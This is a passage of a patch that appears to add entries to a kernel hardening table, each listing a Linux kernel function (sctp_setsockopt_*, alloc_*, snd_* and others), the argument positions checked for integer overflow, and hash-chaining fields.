++_000511_hash sctp_setsockopt_active_key 3 43755 _000511_hash NULL
++_000512_hash sctp_setsockopt_adaptation_layer 3 26935 _003246_hash NULL nohasharray
++_000513_hash sctp_setsockopt_associnfo 3 51684 _000513_hash NULL
++_000514_hash sctp_setsockopt_auth_chunk 3 30843 _000514_hash NULL
++_000515_hash sctp_setsockopt_auth_key 3 3793 _000515_hash NULL
++_000516_hash sctp_setsockopt_autoclose 3 5775 _000516_hash NULL
++_000517_hash sctp_setsockopt_bindx 3 49870 _000517_hash NULL
++_000518_hash __sctp_setsockopt_connectx 3 46949 _000518_hash NULL
++_000519_hash sctp_setsockopt_context 3 31091 _000519_hash NULL
++_000520_hash sctp_setsockopt_default_send_param 3 49578 _000520_hash NULL
++_000521_hash sctp_setsockopt_delayed_ack 3 40129 _000521_hash NULL
++_000522_hash sctp_setsockopt_del_key 3 42304 _002709_hash NULL nohasharray
++_000523_hash sctp_setsockopt_events 3 18862 _000523_hash NULL
++_000524_hash sctp_setsockopt_hmac_ident 3 11687 _000524_hash NULL
++_000525_hash sctp_setsockopt_initmsg 3 1383 _000525_hash NULL
++_000526_hash sctp_setsockopt_maxburst 3 28041 _000526_hash NULL
++_000527_hash sctp_setsockopt_maxseg 3 11829 _000527_hash NULL
++_000528_hash sctp_setsockopt_peer_addr_params 3 734 _000528_hash NULL
++_000529_hash sctp_setsockopt_peer_primary_addr 3 13440 _000529_hash NULL
++_000530_hash sctp_setsockopt_rtoinfo 3 30941 _000530_hash NULL
++_000531_hash security_context_to_sid_core 2 29248 _000531_hash NULL
++_000532_hash sel_commit_bools_write 3 46077 _000532_hash NULL
++_000533_hash sel_write_avc_cache_threshold 3 2256 _000533_hash NULL
++_000534_hash sel_write_bool 3 46996 _000534_hash NULL
++_000535_hash sel_write_checkreqprot 3 60774 _000535_hash NULL
++_000536_hash sel_write_disable 3 10511 _000536_hash NULL
++_000537_hash sel_write_enforce 3 48998 _000537_hash NULL
++_000538_hash sel_write_load 3 63830 _000538_hash NULL
++_000539_hash send_bulk_static_data 3 61932 _000539_hash NULL
++_000540_hash set_aoe_iflist 2 42737 _000540_hash NULL
++_000541_hash setkey_unaligned 3 39474 _000541_hash NULL
++_000542_hash set_registers 3 53582 _000542_hash NULL
++_000543_hash setsockopt 5 54539 _000543_hash NULL
++_000544_hash setup_req 3 5848 _000544_hash NULL
++_000545_hash setxattr 4 37006 _000545_hash NULL
++_000546_hash sfq_alloc 1 2861 _000546_hash NULL
++_000547_hash sg_kmalloc 1 50240 _000547_hash NULL
++_000548_hash sgl_map_user_pages 2 30610 _000548_hash NULL
++_000549_hash shash_setkey_unaligned 3 8620 _000549_hash NULL
++_000550_hash shmem_xattr_alloc 2 61190 _000550_hash NULL
++_000551_hash sierra_setup_urb 5 46029 _000551_hash NULL
++_000552_hash simple_transaction_get 3 50633 _000552_hash NULL
++_000553_hash simple_write_to_buffer 2-5 3122 _000553_hash NULL
++_000555_hash sisusb_send_bulk_msg 3 17864 _000555_hash NULL
++_000556_hash skb_add_data 3 48363 _000556_hash NULL
++_000557_hash skb_do_copy_data_nocache 5 12465 _000557_hash NULL
++_000558_hash sl_alloc_bufs 2 50380 _000558_hash NULL
++_000559_hash sl_realloc_bufs 2 64086 _000559_hash NULL
++_000560_hash smk_set_cipso 3 20379 _000560_hash NULL
++_000561_hash smk_write_ambient 3 45691 _000561_hash NULL
++_000562_hash smk_write_direct 3 46363 _000562_hash NULL
++_000563_hash smk_write_doi 3 49621 _000563_hash NULL
++_000564_hash smk_write_logging 3 2618 _000564_hash NULL
++_000565_hash smk_write_mapped 3 13519 _000565_hash NULL
++_000566_hash smk_write_netlbladdr 3 42525 _000566_hash NULL
++_000567_hash smk_write_onlycap 3 14400 _000567_hash NULL
++_000568_hash smk_write_rules_list 3 18565 _000568_hash NULL
++_000569_hash snd_ctl_elem_user_tlv 3 11695 _000569_hash NULL
++_000570_hash snd_emu10k1_fx8010_read 5 9605 _000570_hash NULL
++_000571_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000571_hash NULL
++_000573_hash snd_gus_dram_poke 4 18525 _000573_hash NULL
++_000574_hash snd_hdsp_playback_copy 5 20676 _000574_hash NULL
++_000575_hash snd_info_entry_write 3 63474 _000575_hash NULL
++_000576_hash snd_korg1212_copy_from 6 36169 _000576_hash NULL
++_000577_hash snd_mem_proc_write 3 9786 _000577_hash NULL
++_000578_hash snd_midi_channel_init_set 1 30092 _000578_hash NULL
++_000579_hash snd_midi_event_new 1 9893 _000764_hash NULL nohasharray
++_000580_hash snd_opl4_mem_proc_write 5 9670 _000580_hash NULL
++_000581_hash snd_pcm_aio_read 3 13900 _000581_hash NULL
++_000582_hash snd_pcm_aio_write 3 28738 _000582_hash NULL
++_000583_hash snd_pcm_oss_write1 3 10872 _000583_hash NULL
++_000584_hash snd_pcm_oss_write2 3 27332 _000584_hash NULL
++_000585_hash snd_rawmidi_kernel_write1 4 56847 _000585_hash NULL
++_000586_hash snd_rme9652_playback_copy 5 20970 _000586_hash NULL
++_000587_hash snd_sb_csp_load_user 3 45190 _000587_hash NULL
++_000588_hash snd_usb_ctl_msg 8 8436 _000588_hash NULL
++_000589_hash sock_bindtodevice 3 50942 _000589_hash NULL
++_000590_hash sock_kmalloc 2 62205 _000590_hash NULL
++_000591_hash spidev_ioctl 2 12846 _000591_hash NULL
++_000592_hash spidev_write 3 44510 _000592_hash NULL
++_000593_hash squashfs_read_table 3 16945 _000593_hash NULL
++_000594_hash srpt_alloc_ioctx 2-3 51042 _000594_hash NULL
++_000596_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000596_hash NULL
++_000597_hash st5481_setup_isocpipes 6-4 61340 _000597_hash NULL
++_000598_hash sta_agg_status_write 3 45164 _000598_hash NULL
++_000599_hash svc_setsockopt 5 36876 _000599_hash NULL
++_000600_hash sys_add_key 4 61288 _000600_hash NULL
++_000601_hash sys_modify_ldt 3 18824 _000601_hash NULL
++_000602_hash sys_semtimedop 3 4486 _000602_hash NULL
++_000603_hash sys_setdomainname 2 4373 _000603_hash NULL
++_000604_hash sys_sethostname 2 42962 _000604_hash NULL
++_000605_hash tomoyo_write_self 3 45161 _000605_hash NULL
++_000606_hash tower_write 3 8580 _000606_hash NULL
++_000607_hash tpm_write 3 50798 _000607_hash NULL
++_000608_hash trusted_instantiate 3 4710 _000608_hash NULL
++_000609_hash trusted_update 3 12664 _000609_hash NULL
++_000610_hash tty_buffer_alloc 2 45437 _000610_hash NULL
++_000611_hash __tun_chr_ioctl 4 22300 _000611_hash NULL
++_000612_hash ubi_more_leb_change_data 4 63534 _000612_hash NULL
++_000613_hash ubi_more_update_data 4 39189 _000613_hash NULL
++_000614_hash ubi_resize_volume 2 50172 _000614_hash NULL
++_000615_hash udf_alloc_i_data 2 35786 _000615_hash NULL
++_000616_hash uea_idma_write 3 64139 _000616_hash NULL
++_000617_hash uea_request 4 47613 _000617_hash NULL
++_000618_hash uea_send_modem_cmd 3 3888 _000618_hash NULL
++_000619_hash uio_write 3 43202 _000619_hash NULL
++_000620_hash um_idi_write 3 18293 _000620_hash NULL
++_000621_hash us122l_ctl_msg 8 13330 _000621_hash NULL
++_000622_hash usb_alloc_urb 1 43436 _000622_hash NULL
++_000623_hash usblp_new_writeurb 2 22894 _000623_hash NULL
++_000624_hash usblp_write 3 23178 _000624_hash NULL
++_000625_hash usbtest_alloc_urb 3-5 34446 _000625_hash NULL
++_000627_hash usbtmc_write 3 64340 _000627_hash NULL
++_000628_hash user_instantiate 3 26131 _000628_hash NULL
++_000629_hash user_update 3 41332 _000629_hash NULL
++_000630_hash uwb_rc_cmd_done 4 35892 _000630_hash NULL
++_000631_hash uwb_rc_neh_grok_event 3 55799 _000631_hash NULL
++_000632_hash v9fs_alloc_rdir_buf 2 42150 _000632_hash NULL
++_000633_hash vc_do_resize 3-4 48842 _000633_hash NULL
++_000635_hash vcs_write 3 3910 _000635_hash NULL
++_000636_hash vga_arb_write 3 36112 _000636_hash NULL
++_000637_hash vga_switcheroo_debugfs_write 3 33984 _000637_hash NULL
++_000638_hash vhci_get_user 3 45039 _000638_hash NULL
++_000639_hash video_proc_write 3 6724 _000639_hash NULL
++_000640_hash vlsi_alloc_ring 3-4 57003 _000640_hash NULL
++_000642_hash __vmalloc 1 61168 _000642_hash NULL
++_000643_hash vmalloc_32 1 1135 _000643_hash NULL
++_000644_hash vmalloc_32_user 1 37519 _000644_hash NULL
++_000645_hash vmalloc_exec 1 36132 _000645_hash NULL
++_000646_hash vmalloc_node 1 58700 _000646_hash NULL
++_000647_hash __vmalloc_node_flags 1 30352 _000647_hash NULL
++_000648_hash vmalloc_user 1 32308 _000648_hash NULL
++_000649_hash vol_cdev_direct_write 3 20751 _000649_hash NULL
++_000650_hash vp_request_msix_vectors 2 28849 _000650_hash NULL
++_000651_hash vring_add_indirect 3-4 20737 _000651_hash NULL
++_000653_hash vring_new_virtqueue 1 9671 _000653_hash NULL
++_000654_hash vxge_os_dma_malloc 2 46184 _000654_hash NULL
++_000655_hash vxge_os_dma_malloc_async 3 56348 _000655_hash NULL
++_000656_hash wdm_write 3 53735 _000656_hash NULL
++_000657_hash wiimote_hid_send 3 48528 _000657_hash NULL
++_000658_hash wlc_phy_loadsampletable_nphy 3 64367 _000658_hash NULL
++_000659_hash write 3 62671 _000659_hash NULL
++_000660_hash write_flush 3 50803 _000660_hash NULL
++_000661_hash write_rio 3 54837 _000661_hash NULL
++_000662_hash x25_asy_change_mtu 2 26928 _000662_hash NULL
++_000663_hash xdi_copy_from_user 4 8395 _000663_hash NULL
++_000664_hash xfrm_dst_alloc_copy 3 3034 _000664_hash NULL
++_000665_hash xfrm_user_policy 4 62573 _000665_hash NULL
++_000666_hash xfs_attrmulti_attr_set 4 59346 _000666_hash NULL
++_000667_hash xfs_handle_to_dentry 3 12135 _000667_hash NULL
++_000668_hash xip_file_read 3 58592 _000668_hash NULL
++_000669_hash __xip_file_write 3-4 2733 _000669_hash NULL
++_000671_hash xprt_rdma_allocate 2 31372 _000671_hash NULL
++_000672_hash zd_usb_iowrite16v_async 3 23984 _000672_hash NULL
++_000673_hash zd_usb_read_fw 4 22049 _000673_hash NULL
++_000674_hash zerocopy_sg_from_iovec 3 11828 _000674_hash NULL
++_000675_hash __a2mp_build 3 60987 _000675_hash NULL
++_000677_hash acpi_ex_allocate_name_string 2-1 7685 _001169_hash NULL nohasharray
++_000678_hash acpi_os_allocate_zeroed 1 37422 _000678_hash NULL
++_000679_hash acpi_ut_initialize_buffer 2 47143 _002830_hash NULL nohasharray
++_000680_hash ad7879_spi_xfer 3 36311 _000680_hash NULL
++_000681_hash add_new_gdb 3 27643 _000681_hash NULL
++_000682_hash add_numbered_child 5 14273 _000682_hash NULL
++_000683_hash add_res_range 4 21310 _000683_hash NULL
++_000684_hash addtgt 3 54703 _000684_hash NULL
++_000685_hash add_uuid 4 49831 _000685_hash NULL
++_000686_hash afs_cell_alloc 2 24052 _000686_hash NULL
++_000687_hash aggr_recv_addba_req_evt 4 38037 _000687_hash NULL
++_000688_hash agp_create_memory 1 1075 _000688_hash NULL
++_000689_hash agp_create_user_memory 1 62955 _000689_hash NULL
++_000690_hash alg_setsockopt 5 20985 _000690_hash NULL
++_000691_hash alloc_async 1 14208 _000691_hash NULL
++_000692_hash ___alloc_bootmem_nopanic 1 53626 _000692_hash NULL
++_000693_hash alloc_buf 1 34532 _000693_hash NULL
++_000694_hash alloc_chunk 1 49575 _000694_hash NULL
++_000695_hash alloc_context 1 41283 _000695_hash NULL
++_000696_hash alloc_ctrl_packet 1 44667 _000696_hash NULL
++_000697_hash alloc_data_packet 1 46698 _000697_hash NULL
++_000698_hash alloc_dca_provider 2 59670 _000698_hash NULL
++_000699_hash __alloc_dev_table 2 54343 _000699_hash NULL
++_000700_hash alloc_ep 1 17269 _000700_hash NULL
++_000701_hash __alloc_extent_buffer 3 15093 _000701_hash NULL
++_000702_hash alloc_group_attrs 2 9194 _000727_hash NULL nohasharray
++_000703_hash alloc_large_system_hash 2 22391 _000703_hash NULL
++_000704_hash alloc_netdev_mqs 1 30030 _000704_hash NULL
++_000705_hash __alloc_objio_seg 1 7203 _000705_hash NULL
++_000706_hash alloc_ring 2-4 15345 _000706_hash NULL
++_000707_hash alloc_ring 2-4 39151 _000707_hash NULL
++_000710_hash alloc_session 1-2 64171 _000710_hash NULL
++_000714_hash alloc_skb 1 55439 _000714_hash NULL
++_000715_hash alloc_skb_fclone 1 3467 _000715_hash NULL
++_000716_hash alloc_smp_req 1 51337 _000716_hash NULL
++_000717_hash alloc_smp_resp 1 3566 _000717_hash NULL
++_000718_hash alloc_ts_config 1 45775 _000718_hash NULL
++_000719_hash alloc_upcall 2 62186 _000719_hash NULL
++_000720_hash altera_drscan 2 48698 _000720_hash NULL
++_000721_hash altera_irscan 2 62396 _000721_hash NULL
++_000722_hash altera_set_dr_post 2 54291 _000722_hash NULL
++_000723_hash altera_set_dr_pre 2 64862 _000723_hash NULL
++_000724_hash altera_set_ir_post 2 20948 _000724_hash NULL
++_000725_hash altera_set_ir_pre 2 54103 _000725_hash NULL
++_000726_hash altera_swap_dr 2 50090 _000726_hash NULL
++_000727_hash altera_swap_ir 2 9194 _000727_hash &_000702_hash
++_000728_hash amd_create_gatt_pages 1 20537 _000728_hash NULL
++_000729_hash aoechr_write 3 62883 _003674_hash NULL nohasharray
++_000730_hash applesmc_create_nodes 2 49392 _000730_hash NULL
++_000731_hash array_zalloc 1-2 7519 _000731_hash NULL
++_000733_hash arvo_sysfs_read 6 31617 _000733_hash NULL
++_000734_hash arvo_sysfs_write 6 3311 _000734_hash NULL
++_000735_hash asd_store_update_bios 4 10165 _000735_hash NULL
++_000736_hash ata_host_alloc 2 46094 _000736_hash NULL
++_000737_hash atalk_sendmsg 4 21677 _000737_hash NULL
++_000738_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000738_hash NULL
++_000739_hash ath6kl_mgmt_tx 9 21153 _000739_hash NULL
++_000740_hash ath6kl_wmi_proc_events_vif 5 42549 _003190_hash NULL nohasharray
++_000741_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000741_hash NULL
++_000742_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000742_hash NULL
++_000743_hash ath_descdma_setup 5 12257 _000743_hash NULL
++_000744_hash ath_rx_edma_init 2 65483 _000744_hash NULL
++_000745_hash ati_create_gatt_pages 1 4722 _003275_hash NULL nohasharray
++_000746_hash audit_expand 2 2098 _000746_hash NULL
++_000747_hash audit_init_entry 1 38644 _000747_hash NULL
++_000748_hash ax25_sendmsg 4 62770 _000748_hash NULL
++_000749_hash b1_alloc_card 1 36155 _000749_hash NULL
++_000750_hash b43_nphy_load_samples 3 36481 _000750_hash NULL
++_000751_hash batadv_orig_hash_add_if 2 10033 _000751_hash NULL
++_000752_hash batadv_orig_hash_del_if 2 48972 _000752_hash NULL
++_000753_hash batadv_tt_append_diff 4 20588 _000753_hash NULL
++_000754_hash batadv_tt_commit_changes 4 2008 _000754_hash NULL
++_000755_hash batadv_tt_prepare_packet_buff 4 1280 _000755_hash NULL
++_000756_hash bio_copy_user_iov 4 37660 _000756_hash NULL
++_000757_hash __bio_map_kern 3 47379 _000757_hash NULL
++_000758_hash bitmap_resize 2 33054 _000758_hash NULL
++_000759_hash blk_check_plugged 3 50736 _000759_hash NULL
++_000760_hash blk_register_region 1-2 51424 _000760_hash NULL
++_000762_hash bm_entry_write 3 28338 _000762_hash NULL
++_000763_hash bm_realloc_pages 2 9431 _000763_hash NULL
++_000764_hash bm_register_write 3 9893 _000764_hash &_000579_hash
++_000765_hash bm_status_write 3 12964 _000765_hash NULL
++_000766_hash br_mdb_rehash 2 42643 _000766_hash NULL
++_000767_hash btmrvl_sdio_host_to_card 3 12152 _000767_hash NULL
++_000768_hash btrfs_copy_from_user 1-3 43806 _000768_hash NULL
++_000770_hash btrfs_insert_delayed_dir_index 4 63720 _000770_hash NULL
++_000771_hash __btrfs_map_block 3 49839 _000771_hash NULL
++_000772_hash c4iw_init_resource 2-3 30393 _000772_hash NULL
++_000774_hash cache_downcall 3 13666 _000774_hash NULL
++_000775_hash cache_slow_downcall 2 8570 _000775_hash NULL
++_000776_hash caif_seqpkt_sendmsg 4 22961 _000776_hash NULL
++_000777_hash caif_stream_sendmsg 4 9110 _000777_hash NULL
++_000778_hash carl9170_cmd_buf 3 950 _000778_hash NULL
++_000779_hash cdev_add 2-3 38176 _000779_hash NULL
++_000781_hash cdrom_read_cdda 4 50478 _000781_hash NULL
++_000782_hash ceph_dns_resolve_name 2 62488 _000782_hash NULL
++_000783_hash ceph_msgpool_get 2 54258 _000783_hash NULL
++_000784_hash cfg80211_connect_result 4-6 56515 _000784_hash NULL
++_000786_hash cfg80211_disconnected 4 57 _000786_hash NULL
++_000787_hash cfg80211_inform_bss 8 19332 _000787_hash NULL
++_000788_hash cfg80211_inform_bss_frame 4 41078 _000788_hash NULL
++_000789_hash cfg80211_mlme_register_mgmt 5 19852 _000789_hash NULL
++_000790_hash cfg80211_roamed_bss 4-6 50198 _000790_hash NULL
++_000792_hash cgroup_file_write 3 52417 _000792_hash NULL
++_000793_hash cifs_readdata_alloc 1 26360 _000793_hash NULL
++_000794_hash cifs_readv_from_socket 3 19109 _000794_hash NULL
++_000795_hash cifs_writedata_alloc 1 32880 _003097_hash NULL nohasharray
++_000796_hash cnic_alloc_dma 3 34641 _000796_hash NULL
++_000797_hash cnic_init_id_tbl 2 41354 _000797_hash NULL
++_000798_hash configfs_write_file 3 61621 _000798_hash NULL
++_000799_hash construct_key 3 11329 _000799_hash NULL
++_000800_hash context_alloc 3 24645 _000800_hash NULL
++_000801_hash copy_to_user 3 57835 _000801_hash NULL
++_000802_hash cp210x_get_config 4 56229 _000802_hash NULL
++_000803_hash create_attr_set 1 22861 _000803_hash NULL
++_000804_hash create_bounce_buffer 3 39155 _000804_hash NULL
++_000805_hash create_gpadl_header 2 19064 _000805_hash NULL
++_000806_hash _create_sg_bios 4 31244 _000806_hash NULL
++_000807_hash cryptd_alloc_instance 2-3 18048 _000807_hash NULL
++_000809_hash crypto_ahash_setkey 3 55134 _000809_hash NULL
++_000810_hash crypto_alloc_instance2 3 25277 _000810_hash NULL
++_000811_hash crypto_shash_setkey 3 60483 _000811_hash NULL
++_000812_hash cxgb_alloc_mem 1 24007 _000812_hash NULL
++_000813_hash cxgbi_device_portmap_create 3 25747 _000813_hash NULL
++_000814_hash cxgbi_device_register 1-2 36746 _000814_hash NULL
++_000816_hash __cxio_init_resource_fifo 3 23447 _000816_hash NULL
++_000817_hash dccp_sendmsg 4 56058 _000817_hash NULL
++_000818_hash ddp_make_gl 1 12179 _000818_hash NULL
++_000819_hash depth_write 3 3021 _000819_hash NULL
++_000820_hash dev_irnet_write 3 11398 _000820_hash NULL
++_000821_hash dev_set_alias 3 50084 _000821_hash NULL
++_000822_hash dev_write 3 7708 _000822_hash NULL
++_000823_hash dfs_global_file_write 3 6112 _000823_hash NULL
++_000824_hash dgram_sendmsg 4 45679 _000824_hash NULL
++_000825_hash disconnect 4 32521 _000825_hash NULL
++_000826_hash dma_attach 6-7 50831 _000826_hash NULL
++_000828_hash dma_declare_coherent_memory 4-2 14244 _000828_hash NULL
++_000829_hash dn_sendmsg 4 38390 _000829_hash NULL
++_000830_hash dn_setsockopt 5 314 _000830_hash NULL
++_000831_hash do_arpt_set_ctl 4 51053 _000831_hash NULL
++_000832_hash do_dccp_setsockopt 5 54377 _003195_hash NULL nohasharray
++_000833_hash do_ip6t_set_ctl 4 60040 _000833_hash NULL
++_000834_hash do_ipt_set_ctl 4 56238 _000834_hash NULL
++_000835_hash do_jffs2_setxattr 5 25910 _000835_hash NULL
++_000836_hash do_msgsnd 4 1387 _000836_hash NULL
++_000837_hash do_pselect 1 62061 _000837_hash NULL
++_000838_hash do_raw_setsockopt 5 55215 _000838_hash NULL
++_000839_hash do_readv_writev 4 51849 _000839_hash NULL
++_000840_hash do_sync 1 9604 _000840_hash NULL
++_000841_hash dup_array 3 33551 _000841_hash NULL
++_000842_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000842_hash NULL
++_000843_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000843_hash NULL
++_000844_hash ecryptfs_send_message_locked 2 31801 _000844_hash NULL
++_000845_hash edac_device_alloc_ctl_info 1 5941 _000845_hash NULL
++_000846_hash edac_mc_alloc 4 3611 _000846_hash NULL
++_000847_hash edac_pci_alloc_ctl_info 1 63388 _000847_hash NULL
++_000848_hash efivar_create_sysfs_entry 2 19485 _000848_hash NULL
++_000849_hash enable_write 3 30456 _000849_hash NULL
++_000850_hash enclosure_register 3 57412 _000850_hash NULL
++_000851_hash enlarge_skb 2 44248 _002839_hash NULL nohasharray
++_000852_hash evdev_ioctl_handler 2 21705 _000852_hash NULL
++_000853_hash ext4_kvzalloc 1 47605 _000853_hash NULL
++_000854_hash extend_netdev_table 2 21453 _000854_hash NULL
++_000855_hash fcoe_ctlr_device_add 3 1793 _000855_hash NULL
++_000856_hash fd_do_readv 3 51297 _000856_hash NULL
++_000857_hash fd_do_writev 3 29329 _000857_hash NULL
++_000858_hash __feat_register_sp 6 64712 _000858_hash NULL
++_000859_hash __ffs_ep0_read_events 3 48868 _000859_hash NULL
++_000860_hash ffs_ep0_write 3 9438 _000860_hash NULL
++_000861_hash ffs_epfile_read 3 18775 _000861_hash NULL
++_000862_hash ffs_epfile_write 3 48014 _000862_hash NULL
++_000863_hash fib_info_hash_alloc 1 9075 _000863_hash NULL
++_000864_hash fillonedir 3 41746 _000864_hash NULL
++_000865_hash fs_devrw_entry 3 11924 _000865_hash NULL
++_000866_hash fs_path_prepare_for_add 2 61854 _000866_hash NULL
++_000867_hash fuse_fill_write_pages 4 53682 _000867_hash NULL
++_000868_hash fw_device_op_ioctl 2 11595 _000868_hash NULL
++_000869_hash fw_iso_buffer_init 3 54582 _000869_hash NULL
++_000870_hash fw_node_create 2 9559 _000870_hash NULL
++_000871_hash garmin_read_process 3 27509 _000871_hash NULL
++_000872_hash garp_request_join 4 7471 _000872_hash NULL
++_000873_hash generic_perform_write 3 54832 _000873_hash NULL
++_000874_hash gen_pool_add_virt 4 39913 _000874_hash NULL
++_000875_hash get_derived_key 4 61100 _000875_hash NULL
++_000876_hash get_new_cssid 2 51665 _000876_hash NULL
++_000877_hash getxattr 4 24398 _003758_hash NULL nohasharray
++_000878_hash gsm_control_reply 4 53333 _000878_hash NULL
++_000879_hash hcd_alloc_coherent 5 55862 _000879_hash NULL
++_000880_hash hci_sock_sendmsg 4 37420 _000880_hash NULL
++_000881_hash hidraw_ioctl 2 63658 _000881_hash NULL
++_000882_hash hidraw_write 3 31536 _000882_hash NULL
++_000883_hash hid_register_field 2-3 4874 _000883_hash NULL
++_000885_hash hid_report_raw_event 4 2762 _000885_hash NULL
++_000886_hash hpi_alloc_control_cache 1 35351 _000886_hash NULL
++_000887_hash hugetlbfs_read_actor 2-5-4 34547 _000887_hash NULL
++_000890_hash hvc_alloc 4 12579 _000890_hash NULL
++_000891_hash __hwahc_dev_set_key 5 46328 _000891_hash NULL
++_000892_hash i2400m_zrealloc_2x 3 54166 _001549_hash NULL nohasharray
++_000893_hash ib_alloc_device 1 26483 _000893_hash NULL
++_000894_hash ib_create_send_mad 5 1196 _000894_hash NULL
++_000895_hash ibmasm_new_command 2 25714 _000895_hash NULL
++_000896_hash ib_send_cm_drep 3 50186 _000896_hash NULL
++_000897_hash ib_send_cm_mra 4 60202 _003063_hash NULL nohasharray
++_000898_hash ib_send_cm_rtu 3 63138 _000898_hash NULL
++_000899_hash ide_core_cp_entry 3 22636 _000899_hash NULL
++_000900_hash ieee80211_if_write_smps 3 35550 _000900_hash NULL
++_000901_hash ieee80211_if_write_tkip_mic_test 3 58748 _000901_hash NULL
++_000902_hash ieee80211_if_write_tsf 3 36077 _000902_hash NULL
++_000903_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _000903_hash NULL
++_000904_hash ieee80211_if_write_uapsd_queues 3 51526 _000904_hash NULL
++_000905_hash ieee80211_key_alloc 3 19065 _000905_hash NULL
++_000906_hash ieee80211_send_probe_req 6-4 6924 _000906_hash NULL
++_000907_hash ieee80211_skb_resize 3 50211 _000907_hash NULL
++_000908_hash if_spi_host_to_card 4 62890 _000908_hash NULL
++_000909_hash if_writecmd 2 815 _000909_hash NULL
++_000910_hash init_bch 1-2 64130 _000910_hash NULL
++_000912_hash init_ipath 1 48187 _000912_hash NULL
++_000913_hash init_list_set 2-3 39188 _000913_hash NULL
++_000915_hash init_q 4 132 _000915_hash NULL
++_000916_hash init_state 2 60165 _000916_hash NULL
++_000917_hash init_tag_map 3 57515 _000917_hash NULL
++_000918_hash input_ff_create 2 21240 _000918_hash NULL
++_000919_hash input_mt_init_slots 2 31183 _000919_hash NULL
++_000920_hash interfaces 2 38859 _000920_hash NULL
++_000921_hash int_hardware_entry 3 36833 _000921_hash NULL
++_000922_hash int_hw_irq_en 3 46776 _000922_hash NULL
++_000923_hash int_tasklet_entry 3 52500 _000923_hash NULL
++_000924_hash ioat2_alloc_ring 2 11172 _000924_hash NULL
++_000925_hash ip_generic_getfrag 3-4 12187 _000925_hash NULL
++_000927_hash ip_options_get_alloc 1 7448 _000927_hash NULL
++_000928_hash ipr_alloc_ucode_buffer 1 40199 _000928_hash NULL
++_000929_hash ip_set_alloc 1 57953 _000929_hash NULL
++_000930_hash ip_setsockopt 5 33487 _000930_hash NULL
++_000931_hash ipv6_flowlabel_opt 3 58135 _001179_hash NULL nohasharray
++_000932_hash ipv6_renew_options 5 28867 _000932_hash NULL
++_000933_hash ipv6_setsockopt 5 29871 _000933_hash NULL
++_000934_hash ipxrtr_route_packet 4 54036 _000934_hash NULL
++_000935_hash irda_sendmsg 4 4388 _000935_hash NULL
++_000936_hash irda_sendmsg_dgram 4 38563 _000936_hash NULL
++_000937_hash irda_sendmsg_ultra 4 42047 _000937_hash NULL
++_000938_hash irias_add_octseq_attrib 4 29983 _000938_hash NULL
++_000939_hash irq_alloc_generic_chip 2 26650 _000939_hash NULL
++_000940_hash iscsi_alloc_session 3 49390 _000940_hash NULL
++_000941_hash iscsi_create_conn 2 50425 _000941_hash NULL
++_000942_hash iscsi_create_endpoint 1 15193 _000942_hash NULL
++_000943_hash iscsi_create_iface 5 38510 _000943_hash NULL
++_000944_hash iscsi_decode_text_input 4 58292 _000944_hash NULL
++_000945_hash iscsi_pool_init 2-4 54913 _000945_hash NULL
++_000947_hash iscsit_dump_data_payload 2 38683 _000947_hash NULL
++_000948_hash isdn_write 3 45863 _000948_hash NULL
++_000949_hash isku_receive 4 54130 _000949_hash NULL
++_000950_hash islpci_mgt_transaction 5 23610 _000950_hash NULL
++_000951_hash iso_alloc_urb 4-5 45206 _000951_hash NULL
++_000952_hash iso_sched_alloc 1 13377 _003325_hash NULL nohasharray
++_000953_hash iwl_trans_txq_alloc 3 36147 _000953_hash NULL
++_000954_hash ixgbe_alloc_q_vector 4-6 24439 _000954_hash NULL
++_000956_hash jbd2_journal_init_revoke 2 51088 _000956_hash NULL
++_000957_hash jffs2_write_dirent 5 37311 _000957_hash NULL
++_000958_hash journal_init_revoke 2 56933 _000958_hash NULL
++_000959_hash keyctl_instantiate_key 3 41855 _000959_hash NULL
++_000960_hash keyctl_instantiate_key_iov 3 16969 _000960_hash NULL
++_000961_hash __kfifo_from_user 3 20399 _000961_hash NULL
++_000962_hash kimage_crash_alloc 3 3233 _000962_hash NULL
++_000963_hash kimage_normal_alloc 3 31140 _000963_hash NULL
++_000964_hash kmem_realloc 2 37489 _000964_hash NULL
++_000965_hash kmem_zalloc 1 11510 _000965_hash NULL
++_000966_hash koneplus_sysfs_read 6 42792 _000966_hash NULL
++_000967_hash kvm_kvzalloc 1 52894 _000967_hash NULL
++_000968_hash kvm_read_guest_page_mmu 6 37611 _000968_hash NULL
++_000969_hash kvm_set_irq_routing 3 48704 _000969_hash NULL
++_000970_hash kvm_write_guest_cached 4 11106 _000970_hash NULL
++_000971_hash kvm_write_guest_page 5 63555 _002812_hash NULL nohasharray
++_000972_hash kzalloc_node 1 24352 _000972_hash NULL
++_000973_hash l2cap_skbuff_fromiovec 3-4 35003 _000973_hash NULL
++_000975_hash l2tp_ip_sendmsg 4 50411 _000975_hash NULL
++_000976_hash l2tp_session_create 1 25286 _000976_hash NULL
++_000977_hash lc_create 3 48662 _000977_hash NULL
++_000978_hash leaf_dealloc 3 29566 _000978_hash NULL
++_000979_hash linear_conf 2 23485 _003837_hash NULL nohasharray
++_000980_hash llc_ui_sendmsg 4 24987 _000980_hash NULL
++_000981_hash load_module 2 60056 _003010_hash NULL nohasharray
++_000982_hash lpfc_sli4_queue_alloc 3 62646 _000982_hash NULL
++_000983_hash mdiobus_alloc_size 1 52259 _000983_hash NULL
++_000984_hash mempool_create_node 1 3191 _000984_hash NULL
++_000985_hash mem_read 3 57631 _000985_hash NULL
++_000986_hash memstick_alloc_host 1 142 _000986_hash NULL
++_000987_hash mem_swapout_entry 3 32586 _000987_hash NULL
++_000988_hash mem_write 3 22232 _000988_hash NULL
++_000989_hash mesh_table_alloc 1 22305 _000989_hash NULL
++_000990_hash mfd_add_devices 4 16668 _000990_hash NULL
++_000991_hash mISDN_sock_sendmsg 4 41035 _000991_hash NULL
++_000992_hash mlx4_init_icm_table 4-5 2151 _000992_hash NULL
++_000994_hash mmc_alloc_host 1 48097 _000994_hash NULL
++_000995_hash mmc_test_alloc_mem 2-3 28102 _000995_hash NULL
++_000997_hash mon_bin_ioctl 3 2771 _000997_hash NULL
++_000998_hash mpi_alloc 1 18094 _000998_hash NULL
